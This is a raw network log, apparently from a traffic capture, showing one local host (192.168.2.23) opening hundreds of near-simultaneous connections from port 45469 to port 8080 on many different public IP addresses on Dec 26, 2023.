Dec 26, 2023 21:22:44.114232063 CET	45469	8080	192.168.2.23	85.40.228.25
Dec 26, 2023 21:22:44.114244938 CET	45469	8080	192.168.2.23	94.76.173.181
Dec 26, 2023 21:22:44.114253044 CET	45469	8080	192.168.2.23	85.241.243.199
Dec 26, 2023 21:22:44.114264965 CET	45469	8080	192.168.2.23	31.108.133.175
Dec 26, 2023 21:22:44.114279032 CET	45469	8080	192.168.2.23	85.138.177.224
Dec 26, 2023 21:22:44.114284039 CET	45469	8080	192.168.2.23	85.118.201.205
Dec 26, 2023 21:22:44.114284992 CET	45469	8080	192.168.2.23	85.125.114.209
Dec 26, 2023 21:22:44.114301920 CET	45469	8080	192.168.2.23	85.154.192.94
Dec 26, 2023 21:22:44.114308119 CET	45469	8080	192.168.2.23	85.138.115.153
Dec 26, 2023 21:22:44.114308119 CET	45469	8080	192.168.2.23	85.93.209.244
Dec 26, 2023 21:22:44.114319086 CET	45469	8080	192.168.2.23	95.240.227.61
Dec 26, 2023 21:22:44.114327908 CET	45469	8080	192.168.2.23	62.80.141.95
Dec 26, 2023 21:22:44.114341021 CET	45469	8080	192.168.2.23	62.85.153.95
Dec 26, 2023 21:22:44.114355087 CET	45469	8080	192.168.2.23	95.105.32.73
Dec 26, 2023 21:22:44.114355087 CET	45469	8080	192.168.2.23	85.57.29.216
Dec 26, 2023 21:22:44.114355087 CET	45469	8080	192.168.2.23	95.87.132.50
Dec 26, 2023 21:22:44.114371061 CET	45469	8080	192.168.2.23	95.198.121.179
Dec 26, 2023 21:22:44.114382029 CET	45469	8080	192.168.2.23	85.94.50.207
Dec 26, 2023 21:22:44.114398003 CET	45469	8080	192.168.2.23	62.238.163.207
Dec 26, 2023 21:22:44.114413023 CET	45469	8080	192.168.2.23	62.213.91.184
Dec 26, 2023 21:22:44.114418983 CET	45469	8080	192.168.2.23	94.152.203.180
Dec 26, 2023 21:22:44.114420891 CET	45469	8080	192.168.2.23	62.210.100.180
Dec 26, 2023 21:22:44.114459991 CET	45469	8080	192.168.2.23	62.45.139.246
Dec 26, 2023 21:22:44.114464045 CET	45469	8080	192.168.2.23	31.38.117.44
Dec 26, 2023 21:22:44.114475012 CET	45469	8080	192.168.2.23	31.183.43.216
Dec 26, 2023 21:22:44.114483118 CET	45469	8080	192.168.2.23	31.16.156.93
Dec 26, 2023 21:22:44.114485979 CET	45469	8080	192.168.2.23	85.19.28.2
Dec 26, 2023 21:22:44.114504099 CET	45469	8080	192.168.2.23	31.65.12.157
Dec 26, 2023 21:22:44.114505053 CET	45469	8080	192.168.2.23	95.40.250.14
Dec 26, 2023 21:22:44.114516020 CET	45469	8080	192.168.2.23	62.17.246.215
Dec 26, 2023 21:22:44.114526033 CET	45469	8080	192.168.2.23	31.164.63.59
Dec 26, 2023 21:22:44.114528894 CET	45469	8080	192.168.2.23	85.17.99.26
Dec 26, 2023 21:22:44.114542007 CET	45469	8080	192.168.2.23	31.132.64.252
Dec 26, 2023 21:22:44.114556074 CET	45469	8080	192.168.2.23	95.18.158.170
Dec 26, 2023 21:22:44.114561081 CET	45469	8080	192.168.2.23	62.84.138.245
Dec 26, 2023 21:22:44.114581108 CET	45469	8080	192.168.2.23	95.90.238.33
Dec 26, 2023 21:22:44.114587069 CET	45469	8080	192.168.2.23	31.34.130.190
Dec 26, 2023 21:22:44.114589930 CET	45469	8080	192.168.2.23	31.152.122.189
Dec 26, 2023 21:22:44.114597082 CET	45469	8080	192.168.2.23	31.27.69.8
Dec 26, 2023 21:22:44.114598989 CET	45469	8080	192.168.2.23	95.160.124.103
Dec 26, 2023 21:22:44.114619970 CET	45469	8080	192.168.2.23	31.253.80.2
Dec 26, 2023 21:22:44.114622116 CET	45469	8080	192.168.2.23	31.87.224.178
Dec 26, 2023 21:22:44.114631891 CET	45469	8080	192.168.2.23	94.63.70.30
Dec 26, 2023 21:22:44.114648104 CET	45469	8080	192.168.2.23	95.132.112.147
Dec 26, 2023 21:22:44.114650965 CET	45469	8080	192.168.2.23	31.227.101.228
Dec 26, 2023 21:22:44.114662886 CET	45469	8080	192.168.2.23	62.89.15.8
Dec 26, 2023 21:22:44.114665985 CET	45469	8080	192.168.2.23	95.140.255.176
Dec 26, 2023 21:22:44.114675045 CET	45469	8080	192.168.2.23	62.34.239.253
Dec 26, 2023 21:22:44.114679098 CET	45469	8080	192.168.2.23	95.53.131.23
Dec 26, 2023 21:22:44.114694118 CET	45469	8080	192.168.2.23	62.133.41.218
Dec 26, 2023 21:22:44.114706039 CET	45469	8080	192.168.2.23	85.6.30.49
Dec 26, 2023 21:22:44.114721060 CET	45469	8080	192.168.2.23	94.181.138.5
Dec 26, 2023 21:22:44.114725113 CET	45469	8080	192.168.2.23	95.152.244.59
Dec 26, 2023 21:22:44.114734888 CET	45469	8080	192.168.2.23	94.116.192.157
Dec 26, 2023 21:22:44.114742041 CET	45469	8080	192.168.2.23	95.47.168.67
Dec 26, 2023 21:22:44.114756107 CET	45469	8080	192.168.2.23	94.218.48.86
Dec 26, 2023 21:22:44.114758968 CET	45469	8080	192.168.2.23	94.248.180.157
Dec 26, 2023 21:22:44.114770889 CET	45469	8080	192.168.2.23	85.153.131.94
Dec 26, 2023 21:22:44.114780903 CET	45469	8080	192.168.2.23	85.211.104.165
Dec 26, 2023 21:22:44.114790916 CET	45469	8080	192.168.2.23	94.232.204.115
Dec 26, 2023 21:22:44.114792109 CET	45469	8080	192.168.2.23	95.47.52.38
Dec 26, 2023 21:22:44.114799023 CET	45469	8080	192.168.2.23	31.38.249.119
Dec 26, 2023 21:22:44.114808083 CET	45469	8080	192.168.2.23	85.240.32.253
Dec 26, 2023 21:22:44.114820004 CET	45469	8080	192.168.2.23	85.52.35.24
Dec 26, 2023 21:22:44.114835024 CET	45469	8080	192.168.2.23	94.254.111.6
Dec 26, 2023 21:22:44.114842892 CET	45469	8080	192.168.2.23	62.32.226.59
Dec 26, 2023 21:22:44.114844084 CET	45469	8080	192.168.2.23	31.248.171.31
Dec 26, 2023 21:22:44.114861012 CET	45469	8080	192.168.2.23	94.25.216.223
Dec 26, 2023 21:22:44.114861965 CET	45469	8080	192.168.2.23	94.105.212.52
Dec 26, 2023 21:22:44.114872932 CET	45469	8080	192.168.2.23	62.182.219.53
Dec 26, 2023 21:22:44.114890099 CET	45469	8080	192.168.2.23	95.231.51.243
Dec 26, 2023 21:22:44.114902973 CET	45469	8080	192.168.2.23	94.217.19.165
Dec 26, 2023 21:22:44.114903927 CET	45469	8080	192.168.2.23	85.167.230.162
Dec 26, 2023 21:22:44.114922047 CET	45469	8080	192.168.2.23	95.226.213.136
Dec 26, 2023 21:22:44.114923000 CET	45469	8080	192.168.2.23	95.57.236.58
Dec 26, 2023 21:22:44.114928007 CET	45469	8080	192.168.2.23	95.181.82.152
Dec 26, 2023 21:22:44.114950895 CET	45469	8080	192.168.2.23	31.75.94.100
Dec 26, 2023 21:22:44.114953995 CET	45469	8080	192.168.2.23	95.156.221.34
Dec 26, 2023 21:22:44.114964962 CET	45469	8080	192.168.2.23	62.177.238.44
Dec 26, 2023 21:22:44.114981890 CET	45469	8080	192.168.2.23	94.116.126.110
Dec 26, 2023 21:22:44.114983082 CET	45469	8080	192.168.2.23	94.8.127.220
Dec 26, 2023 21:22:44.114989996 CET	45469	8080	192.168.2.23	94.115.0.18
Dec 26, 2023 21:22:44.115008116 CET	45469	8080	192.168.2.23	94.19.250.98
Dec 26, 2023 21:22:44.115012884 CET	45469	8080	192.168.2.23	95.19.100.247
Dec 26, 2023 21:22:44.115030050 CET	45469	8080	192.168.2.23	62.118.241.125
Dec 26, 2023 21:22:44.115032911 CET	45469	8080	192.168.2.23	95.184.44.232
Dec 26, 2023 21:22:44.115044117 CET	45469	8080	192.168.2.23	94.7.236.92
Dec 26, 2023 21:22:44.115050077 CET	45469	8080	192.168.2.23	62.121.94.129
Dec 26, 2023 21:22:44.115057945 CET	45469	8080	192.168.2.23	31.43.217.47
Dec 26, 2023 21:22:44.115057945 CET	45469	8080	192.168.2.23	85.206.57.87
Dec 26, 2023 21:22:44.115067959 CET	45469	8080	192.168.2.23	62.107.43.203
Dec 26, 2023 21:22:44.115077019 CET	45469	8080	192.168.2.23	94.206.248.204
Dec 26, 2023 21:22:44.115089893 CET	45469	8080	192.168.2.23	95.165.222.15
Dec 26, 2023 21:22:44.115099907 CET	45469	8080	192.168.2.23	94.233.35.76
Dec 26, 2023 21:22:44.115109921 CET	45469	8080	192.168.2.23	85.240.56.102
Dec 26, 2023 21:22:44.115113020 CET	45469	8080	192.168.2.23	85.28.173.192
Dec 26, 2023 21:22:44.115134001 CET	45469	8080	192.168.2.23	95.68.56.82
Dec 26, 2023 21:22:44.115144014 CET	45469	8080	192.168.2.23	85.174.19.220
Dec 26, 2023 21:22:44.115150928 CET	45469	8080	192.168.2.23	62.192.85.157
Dec 26, 2023 21:22:44.115164995 CET	45469	8080	192.168.2.23	85.136.14.25
Dec 26, 2023 21:22:44.115178108 CET	45469	8080	192.168.2.23	31.72.187.213
Dec 26, 2023 21:22:44.115190029 CET	45469	8080	192.168.2.23	85.203.187.143
Dec 26, 2023 21:22:44.115195036 CET	45469	8080	192.168.2.23	94.177.210.140
Dec 26, 2023 21:22:44.115200043 CET	45469	8080	192.168.2.23	95.94.84.227
Dec 26, 2023 21:22:44.115200043 CET	45469	8080	192.168.2.23	94.124.211.83
Dec 26, 2023 21:22:44.115211010 CET	45469	8080	192.168.2.23	95.181.213.138
Dec 26, 2023 21:22:44.115225077 CET	45469	8080	192.168.2.23	95.27.7.149
Dec 26, 2023 21:22:44.115237951 CET	45469	8080	192.168.2.23	31.239.21.217
Dec 26, 2023 21:22:44.115247965 CET	45469	8080	192.168.2.23	85.135.210.122
Dec 26, 2023 21:22:44.115257978 CET	45469	8080	192.168.2.23	85.160.209.18
Dec 26, 2023 21:22:44.115257978 CET	45469	8080	192.168.2.23	85.93.235.206
Dec 26, 2023 21:22:44.115273952 CET	45469	8080	192.168.2.23	85.222.125.9
Dec 26, 2023 21:22:44.115288973 CET	45469	8080	192.168.2.23	85.37.129.46
Dec 26, 2023 21:22:44.115292072 CET	45469	8080	192.168.2.23	62.46.184.206
Dec 26, 2023 21:22:44.115298986 CET	45469	8080	192.168.2.23	85.142.147.181
Dec 26, 2023 21:22:44.115314960 CET	45469	8080	192.168.2.23	31.23.187.26
Dec 26, 2023 21:22:44.115323067 CET	45469	8080	192.168.2.23	94.210.244.206
Dec 26, 2023 21:22:44.115340948 CET	45469	8080	192.168.2.23	62.25.177.83
Dec 26, 2023 21:22:44.115345955 CET	45469	8080	192.168.2.23	94.185.63.156
Dec 26, 2023 21:22:44.115358114 CET	45469	8080	192.168.2.23	85.86.187.64
Dec 26, 2023 21:22:44.115365028 CET	45469	8080	192.168.2.23	94.200.141.162
Dec 26, 2023 21:22:44.115365982 CET	45469	8080	192.168.2.23	62.20.213.237
Dec 26, 2023 21:22:44.115381956 CET	45469	8080	192.168.2.23	62.14.53.126
Dec 26, 2023 21:22:44.115389109 CET	45469	8080	192.168.2.23	85.238.46.77
Dec 26, 2023 21:22:44.115390062 CET	45469	8080	192.168.2.23	62.81.48.172
Dec 26, 2023 21:22:44.115396976 CET	45469	8080	192.168.2.23	95.204.83.10
Dec 26, 2023 21:22:44.115398884 CET	45469	8080	192.168.2.23	31.53.156.18
Dec 26, 2023 21:22:44.115406990 CET	45469	8080	192.168.2.23	31.119.61.149
Dec 26, 2023 21:22:44.115422964 CET	45469	8080	192.168.2.23	31.97.226.84
Dec 26, 2023 21:22:44.115432024 CET	45469	8080	192.168.2.23	95.183.58.224
Dec 26, 2023 21:22:44.115432024 CET	45469	8080	192.168.2.23	95.58.231.91
Dec 26, 2023 21:22:44.115442991 CET	45469	8080	192.168.2.23	85.82.225.29
Dec 26, 2023 21:22:44.115446091 CET	45469	8080	192.168.2.23	31.14.228.196
Dec 26, 2023 21:22:44.115468025 CET	45469	8080	192.168.2.23	85.174.45.177
Dec 26, 2023 21:22:44.115477085 CET	45469	8080	192.168.2.23	85.153.103.210
Dec 26, 2023 21:22:44.115487099 CET	45469	8080	192.168.2.23	85.31.74.234
Dec 26, 2023 21:22:44.115502119 CET	45469	8080	192.168.2.23	85.117.60.155
Dec 26, 2023 21:22:44.115504026 CET	45469	8080	192.168.2.23	85.31.69.72
Dec 26, 2023 21:22:44.115511894 CET	45469	8080	192.168.2.23	95.22.34.189
Dec 26, 2023 21:22:44.115514994 CET	45469	8080	192.168.2.23	95.182.15.96
Dec 26, 2023 21:22:44.115523100 CET	45469	8080	192.168.2.23	95.49.242.85
Dec 26, 2023 21:22:44.115536928 CET	45469	8080	192.168.2.23	31.111.242.211
Dec 26, 2023 21:22:44.115536928 CET	45469	8080	192.168.2.23	85.115.68.136
Dec 26, 2023 21:22:44.115549088 CET	45469	8080	192.168.2.23	94.186.232.148
Dec 26, 2023 21:22:44.115561962 CET	45469	8080	192.168.2.23	85.158.124.91
Dec 26, 2023 21:22:44.115571022 CET	45469	8080	192.168.2.23	95.79.194.177
Dec 26, 2023 21:22:44.115576029 CET	45469	8080	192.168.2.23	85.153.62.10
Dec 26, 2023 21:22:44.115577936 CET	45469	8080	192.168.2.23	85.126.168.159
Dec 26, 2023 21:22:44.115581989 CET	45469	8080	192.168.2.23	85.185.221.138
Dec 26, 2023 21:22:44.115587950 CET	45469	8080	192.168.2.23	94.28.254.224
Dec 26, 2023 21:22:44.115593910 CET	45469	8080	192.168.2.23	94.75.3.104
Dec 26, 2023 21:22:44.115605116 CET	45469	8080	192.168.2.23	31.124.181.157
Dec 26, 2023 21:22:44.115623951 CET	45469	8080	192.168.2.23	95.115.95.125
Dec 26, 2023 21:22:44.115628004 CET	45469	8080	192.168.2.23	85.190.172.2
Dec 26, 2023 21:22:44.115628958 CET	45469	8080	192.168.2.23	94.7.50.11
Dec 26, 2023 21:22:44.115650892 CET	45469	8080	192.168.2.23	31.35.65.18
Dec 26, 2023 21:22:44.115653992 CET	45469	8080	192.168.2.23	31.49.229.171
Dec 26, 2023 21:22:44.115655899 CET	45469	8080	192.168.2.23	31.59.6.50
Dec 26, 2023 21:22:44.115659952 CET	45469	8080	192.168.2.23	31.177.156.51
Dec 26, 2023 21:22:44.115674973 CET	45469	8080	192.168.2.23	85.33.41.199
Dec 26, 2023 21:22:44.115691900 CET	45469	8080	192.168.2.23	94.87.68.2
Dec 26, 2023 21:22:44.115699053 CET	45469	8080	192.168.2.23	94.87.249.241
Dec 26, 2023 21:22:44.115715027 CET	45469	8080	192.168.2.23	94.92.41.193
Dec 26, 2023 21:22:44.115729094 CET	45469	8080	192.168.2.23	85.24.107.88
Dec 26, 2023 21:22:44.115744114 CET	45469	8080	192.168.2.23	62.196.202.118
Dec 26, 2023 21:22:44.115751028 CET	45469	8080	192.168.2.23	31.245.133.29
Dec 26, 2023 21:22:44.115762949 CET	45469	8080	192.168.2.23	85.229.76.141
Dec 26, 2023 21:22:44.115762949 CET	45469	8080	192.168.2.23	95.169.191.231
Dec 26, 2023 21:22:44.115777969 CET	45469	8080	192.168.2.23	62.251.94.76
Dec 26, 2023 21:22:44.115791082 CET	45469	8080	192.168.2.23	31.240.51.13
Dec 26, 2023 21:22:44.115806103 CET	45469	8080	192.168.2.23	62.151.81.149
Dec 26, 2023 21:22:44.115814924 CET	45469	8080	192.168.2.23	31.15.222.164
Dec 26, 2023 21:22:44.115817070 CET	45469	8080	192.168.2.23	94.212.18.215
Dec 26, 2023 21:22:44.115839005 CET	45469	8080	192.168.2.23	95.249.223.81
Dec 26, 2023 21:22:44.115849972 CET	45469	8080	192.168.2.23	85.224.161.198
Dec 26, 2023 21:22:44.115850925 CET	45469	8080	192.168.2.23	62.12.235.63
Dec 26, 2023 21:22:44.115859985 CET	45469	8080	192.168.2.23	95.79.179.139
Dec 26, 2023 21:22:44.115881920 CET	45469	8080	192.168.2.23	95.145.32.32
Dec 26, 2023 21:22:44.115886927 CET	45469	8080	192.168.2.23	31.99.245.36
Dec 26, 2023 21:22:44.115902901 CET	45469	8080	192.168.2.23	94.221.123.22
Dec 26, 2023 21:22:44.115916014 CET	45469	8080	192.168.2.23	94.193.115.217
Dec 26, 2023 21:22:44.115927935 CET	45469	8080	192.168.2.23	31.207.132.182
Dec 26, 2023 21:22:44.115943909 CET	45469	8080	192.168.2.23	31.17.152.35
Dec 26, 2023 21:22:44.115945101 CET	45469	8080	192.168.2.23	85.3.217.17
Dec 26, 2023 21:22:44.115948915 CET	45469	8080	192.168.2.23	62.172.245.132
Dec 26, 2023 21:22:44.115963936 CET	45469	8080	192.168.2.23	85.20.183.80
Dec 26, 2023 21:22:44.115972996 CET	45469	8080	192.168.2.23	62.48.80.28
Dec 26, 2023 21:22:44.115987062 CET	45469	8080	192.168.2.23	95.214.78.25
Dec 26, 2023 21:22:44.115993977 CET	45469	8080	192.168.2.23	62.41.212.186
Dec 26, 2023 21:22:44.116005898 CET	45469	8080	192.168.2.23	95.38.138.203
Dec 26, 2023 21:22:44.116012096 CET	45469	8080	192.168.2.23	85.106.196.33
Dec 26, 2023 21:22:44.116019011 CET	45469	8080	192.168.2.23	62.147.77.66
Dec 26, 2023 21:22:44.116022110 CET	45469	8080	192.168.2.23	62.39.211.237
Dec 26, 2023 21:22:44.116034031 CET	45469	8080	192.168.2.23	31.255.1.78
Dec 26, 2023 21:22:44.116039038 CET	45469	8080	192.168.2.23	31.217.163.139
Dec 26, 2023 21:22:44.116046906 CET	45469	8080	192.168.2.23	31.240.100.99
Dec 26, 2023 21:22:44.116066933 CET	45469	8080	192.168.2.23	85.64.58.154
Dec 26, 2023 21:22:44.116072893 CET	45469	8080	192.168.2.23	62.113.38.42
Dec 26, 2023 21:22:44.116080046 CET	45469	8080	192.168.2.23	94.36.25.106
Dec 26, 2023 21:22:44.116080046 CET	45469	8080	192.168.2.23	94.151.181.102
Dec 26, 2023 21:22:44.116096020 CET	45469	8080	192.168.2.23	85.255.171.166
Dec 26, 2023 21:22:44.116096973 CET	45469	8080	192.168.2.23	62.6.190.249
Dec 26, 2023 21:22:44.116102934 CET	45469	8080	192.168.2.23	85.17.9.5
Dec 26, 2023 21:22:44.116113901 CET	45469	8080	192.168.2.23	95.11.128.208
Dec 26, 2023 21:22:44.116123915 CET	45469	8080	192.168.2.23	31.254.62.229
Dec 26, 2023 21:22:44.116130114 CET	45469	8080	192.168.2.23	95.174.165.77
Dec 26, 2023 21:22:44.116143942 CET	45469	8080	192.168.2.23	85.154.121.231
Dec 26, 2023 21:22:44.116143942 CET	45469	8080	192.168.2.23	31.253.92.2
Dec 26, 2023 21:22:44.116168022 CET	45469	8080	192.168.2.23	31.182.86.204
Dec 26, 2023 21:22:44.116170883 CET	45469	8080	192.168.2.23	62.166.124.184
Dec 26, 2023 21:22:44.116175890 CET	45469	8080	192.168.2.23	31.224.123.70
Dec 26, 2023 21:22:44.116180897 CET	45469	8080	192.168.2.23	85.108.143.60
Dec 26, 2023 21:22:44.116189957 CET	45469	8080	192.168.2.23	94.90.233.168
Dec 26, 2023 21:22:44.116206884 CET	45469	8080	192.168.2.23	62.13.30.84
Dec 26, 2023 21:22:44.116211891 CET	45469	8080	192.168.2.23	95.183.159.247
Dec 26, 2023 21:22:44.116215944 CET	45469	8080	192.168.2.23	85.89.124.255
Dec 26, 2023 21:22:44.116229057 CET	45469	8080	192.168.2.23	94.198.27.223
Dec 26, 2023 21:22:44.116234064 CET	45469	8080	192.168.2.23	94.210.17.219
Dec 26, 2023 21:22:44.116241932 CET	45469	8080	192.168.2.23	31.214.48.187
Dec 26, 2023 21:22:44.116245031 CET	45469	8080	192.168.2.23	62.140.151.234
Dec 26, 2023 21:22:44.116249084 CET	45469	8080	192.168.2.23	94.10.229.162
Dec 26, 2023 21:22:44.116270065 CET	45469	8080	192.168.2.23	85.241.113.103
Dec 26, 2023 21:22:44.116274118 CET	45469	8080	192.168.2.23	62.8.76.45
Dec 26, 2023 21:22:44.116275072 CET	45469	8080	192.168.2.23	85.150.157.121
Dec 26, 2023 21:22:44.116293907 CET	45469	8080	192.168.2.23	62.89.143.114
Dec 26, 2023 21:22:44.116293907 CET	45469	8080	192.168.2.23	62.191.4.251
Dec 26, 2023 21:22:44.116296053 CET	45469	8080	192.168.2.23	31.89.161.114
Dec 26, 2023 21:22:44.116312981 CET	45469	8080	192.168.2.23	94.28.233.92
Dec 26, 2023 21:22:44.116312981 CET	45469	8080	192.168.2.23	94.20.230.132
Dec 26, 2023 21:22:44.116327047 CET	45469	8080	192.168.2.23	95.191.96.113
Dec 26, 2023 21:22:44.116333961 CET	45469	8080	192.168.2.23	31.191.9.167
Dec 26, 2023 21:22:44.116347075 CET	45469	8080	192.168.2.23	62.2.45.182
Dec 26, 2023 21:22:44.116358995 CET	45469	8080	192.168.2.23	85.87.158.51
Dec 26, 2023 21:22:44.116373062 CET	45469	8080	192.168.2.23	62.200.245.181
Dec 26, 2023 21:22:44.116374969 CET	45469	8080	192.168.2.23	31.126.27.189
Dec 26, 2023 21:22:44.116384029 CET	45469	8080	192.168.2.23	95.89.138.84
Dec 26, 2023 21:22:44.116390944 CET	45469	8080	192.168.2.23	31.185.41.156
Dec 26, 2023 21:22:44.116394043 CET	45469	8080	192.168.2.23	94.235.247.178
Dec 26, 2023 21:22:44.116410971 CET	45469	8080	192.168.2.23	85.251.148.203
Dec 26, 2023 21:22:44.116411924 CET	45469	8080	192.168.2.23	62.189.152.241
Dec 26, 2023 21:22:44.116426945 CET	45469	8080	192.168.2.23	95.43.18.173
Dec 26, 2023 21:22:44.116441011 CET	45469	8080	192.168.2.23	95.58.158.175
Dec 26, 2023 21:22:44.116451025 CET	45469	8080	192.168.2.23	62.36.117.38
Dec 26, 2023 21:22:44.116466045 CET	45469	8080	192.168.2.23	85.113.132.173
Dec 26, 2023 21:22:44.116475105 CET	45469	8080	192.168.2.23	94.21.209.212
Dec 26, 2023 21:22:44.116492033 CET	45469	8080	192.168.2.23	85.90.142.36
Dec 26, 2023 21:22:44.116496086 CET	45469	8080	192.168.2.23	95.44.218.84
Dec 26, 2023 21:22:44.116512060 CET	45469	8080	192.168.2.23	94.2.132.213
Dec 26, 2023 21:22:44.116523027 CET	45469	8080	192.168.2.23	31.137.193.168
Dec 26, 2023 21:22:44.116523027 CET	45469	8080	192.168.2.23	62.127.126.177
Dec 26, 2023 21:22:44.116523027 CET	45469	8080	192.168.2.23	85.160.2.245
Dec 26, 2023 21:22:44.116533041 CET	45469	8080	192.168.2.23	31.30.55.24
Dec 26, 2023 21:22:44.116550922 CET	45469	8080	192.168.2.23	95.75.42.87
Dec 26, 2023 21:22:44.116559029 CET	45469	8080	192.168.2.23	95.182.243.185
Dec 26, 2023 21:22:44.116575003 CET	45469	8080	192.168.2.23	94.142.198.86
Dec 26, 2023 21:22:44.116575956 CET	45469	8080	192.168.2.23	85.135.174.218
Dec 26, 2023 21:22:44.116590977 CET	45469	8080	192.168.2.23	31.133.235.226
Dec 26, 2023 21:22:44.116595984 CET	45469	8080	192.168.2.23	95.127.149.9
Dec 26, 2023 21:22:44.116605997 CET	45469	8080	192.168.2.23	62.201.8.212
Dec 26, 2023 21:22:44.116614103 CET	45469	8080	192.168.2.23	95.117.35.22
Dec 26, 2023 21:22:44.116631031 CET	45469	8080	192.168.2.23	31.32.177.253
Dec 26, 2023 21:22:44.116647005 CET	45469	8080	192.168.2.23	62.50.2.167
Dec 26, 2023 21:22:44.116652966 CET	45469	8080	192.168.2.23	85.208.212.207
Dec 26, 2023 21:22:44.116662979 CET	45469	8080	192.168.2.23	62.43.25.192
Dec 26, 2023 21:22:44.116671085 CET	45469	8080	192.168.2.23	95.70.216.208
Dec 26, 2023 21:22:44.116691113 CET	45469	8080	192.168.2.23	95.210.154.235
Dec 26, 2023 21:22:44.116692066 CET	45469	8080	192.168.2.23	94.247.220.126
Dec 26, 2023 21:22:44.116703987 CET	45469	8080	192.168.2.23	94.235.173.35
Dec 26, 2023 21:22:44.116723061 CET	45469	8080	192.168.2.23	62.232.88.171
Dec 26, 2023 21:22:44.116724014 CET	45469	8080	192.168.2.23	94.188.25.44
Dec 26, 2023 21:22:44.116738081 CET	45469	8080	192.168.2.23	31.147.210.221
Dec 26, 2023 21:22:44.116748095 CET	45469	8080	192.168.2.23	62.31.221.197
Dec 26, 2023 21:22:44.116751909 CET	45469	8080	192.168.2.23	85.80.55.199
Dec 26, 2023 21:22:44.116753101 CET	45469	8080	192.168.2.23	95.47.124.35
Dec 26, 2023 21:22:44.116759062 CET	45469	8080	192.168.2.23	94.108.232.34
Dec 26, 2023 21:22:44.116771936 CET	45469	8080	192.168.2.23	62.23.47.213
Dec 26, 2023 21:22:44.116775990 CET	45469	8080	192.168.2.23	31.33.122.107
Dec 26, 2023 21:22:44.116775990 CET	45469	8080	192.168.2.23	94.54.129.181
Dec 26, 2023 21:22:44.116782904 CET	45469	8080	192.168.2.23	31.196.47.174
Dec 26, 2023 21:22:44.116802931 CET	45469	8080	192.168.2.23	62.96.244.202
Dec 26, 2023 21:22:44.116802931 CET	45469	8080	192.168.2.23	85.148.9.63
Dec 26, 2023 21:22:44.116820097 CET	45469	8080	192.168.2.23	62.169.95.194
Dec 26, 2023 21:22:44.116831064 CET	45469	8080	192.168.2.23	95.26.15.90
Dec 26, 2023 21:22:44.116832018 CET	45469	8080	192.168.2.23	95.204.95.202
Dec 26, 2023 21:22:44.116852045 CET	45469	8080	192.168.2.23	62.135.98.242
Dec 26, 2023 21:22:44.116858959 CET	45469	8080	192.168.2.23	94.254.160.152
Dec 26, 2023 21:22:44.116873980 CET	45469	8080	192.168.2.23	31.82.24.254
Dec 26, 2023 21:22:44.116882086 CET	45469	8080	192.168.2.23	62.98.123.61
Dec 26, 2023 21:22:44.116890907 CET	45469	8080	192.168.2.23	85.51.192.29
Dec 26, 2023 21:22:44.116899014 CET	45469	8080	192.168.2.23	85.83.196.218
Dec 26, 2023 21:22:44.116911888 CET	45469	8080	192.168.2.23	85.107.123.111
Dec 26, 2023 21:22:44.116926908 CET	45469	8080	192.168.2.23	62.110.72.49
Dec 26, 2023 21:22:44.116931915 CET	45469	8080	192.168.2.23	94.230.153.60
Dec 26, 2023 21:22:44.116940022 CET	45469	8080	192.168.2.23	31.130.214.228
Dec 26, 2023 21:22:44.116940022 CET	45469	8080	192.168.2.23	85.197.132.231
Dec 26, 2023 21:22:44.116942883 CET	45469	8080	192.168.2.23	95.58.75.245
Dec 26, 2023 21:22:44.116957903 CET	45469	8080	192.168.2.23	31.150.25.172
Dec 26, 2023 21:22:44.116965055 CET	45469	8080	192.168.2.23	85.12.235.168
Dec 26, 2023 21:22:44.116965055 CET	45469	8080	192.168.2.23	94.235.227.218
Dec 26, 2023 21:22:44.116978884 CET	45469	8080	192.168.2.23	94.220.212.90
Dec 26, 2023 21:22:44.116987944 CET	45469	8080	192.168.2.23	31.139.58.144
Dec 26, 2023 21:22:44.116998911 CET	45469	8080	192.168.2.23	31.224.213.70
Dec 26, 2023 21:22:44.117011070 CET	45469	8080	192.168.2.23	62.249.240.213
Dec 26, 2023 21:22:44.117022991 CET	45469	8080	192.168.2.23	85.81.142.116
Dec 26, 2023 21:22:44.117031097 CET	45469	8080	192.168.2.23	94.143.5.146
Dec 26, 2023 21:22:44.117038965 CET	45469	8080	192.168.2.23	95.14.195.130
Dec 26, 2023 21:22:44.117057085 CET	45469	8080	192.168.2.23	94.207.34.140
Dec 26, 2023 21:22:44.117057085 CET	45469	8080	192.168.2.23	94.222.152.187
Dec 26, 2023 21:22:44.117073059 CET	45469	8080	192.168.2.23	95.207.120.152
Dec 26, 2023 21:22:44.117074966 CET	45469	8080	192.168.2.23	31.52.114.132
Dec 26, 2023 21:22:44.117093086 CET	45469	8080	192.168.2.23	62.0.161.6
Dec 26, 2023 21:22:44.117098093 CET	45469	8080	192.168.2.23	31.49.235.38
Dec 26, 2023 21:22:44.117100954 CET	45469	8080	192.168.2.23	94.235.35.14
Dec 26, 2023 21:22:44.117114067 CET	45469	8080	192.168.2.23	94.138.75.125
Dec 26, 2023 21:22:44.117115021 CET	45469	8080	192.168.2.23	62.54.17.96
Dec 26, 2023 21:22:44.117130995 CET	45469	8080	192.168.2.23	85.164.131.192
Dec 26, 2023 21:22:44.117144108 CET	45469	8080	192.168.2.23	62.237.44.249
Dec 26, 2023 21:22:44.117144108 CET	45469	8080	192.168.2.23	95.114.203.190
Dec 26, 2023 21:22:44.117162943 CET	45469	8080	192.168.2.23	94.252.208.108
Dec 26, 2023 21:22:44.117162943 CET	45469	8080	192.168.2.23	31.110.93.113
Dec 26, 2023 21:22:44.117178917 CET	45469	8080	192.168.2.23	62.252.132.35
Dec 26, 2023 21:22:44.117178917 CET	45469	8080	192.168.2.23	85.209.177.33
Dec 26, 2023 21:22:44.117192984 CET	45469	8080	192.168.2.23	94.222.135.12
Dec 26, 2023 21:22:44.117199898 CET	45469	8080	192.168.2.23	85.199.50.48
Dec 26, 2023 21:22:44.117216110 CET	45469	8080	192.168.2.23	95.251.153.6
Dec 26, 2023 21:22:44.117221117 CET	45469	8080	192.168.2.23	94.101.74.49
Dec 26, 2023 21:22:44.117223978 CET	45469	8080	192.168.2.23	85.215.42.62
Dec 26, 2023 21:22:44.117233992 CET	45469	8080	192.168.2.23	95.136.63.231
Dec 26, 2023 21:22:44.117249966 CET	45469	8080	192.168.2.23	62.194.155.73
Dec 26, 2023 21:22:44.117261887 CET	45469	8080	192.168.2.23	85.87.199.8
Dec 26, 2023 21:22:44.117261887 CET	45469	8080	192.168.2.23	95.24.8.148
Dec 26, 2023 21:22:44.117278099 CET	45469	8080	192.168.2.23	62.218.91.204
Dec 26, 2023 21:22:44.117290020 CET	45469	8080	192.168.2.23	85.244.60.130
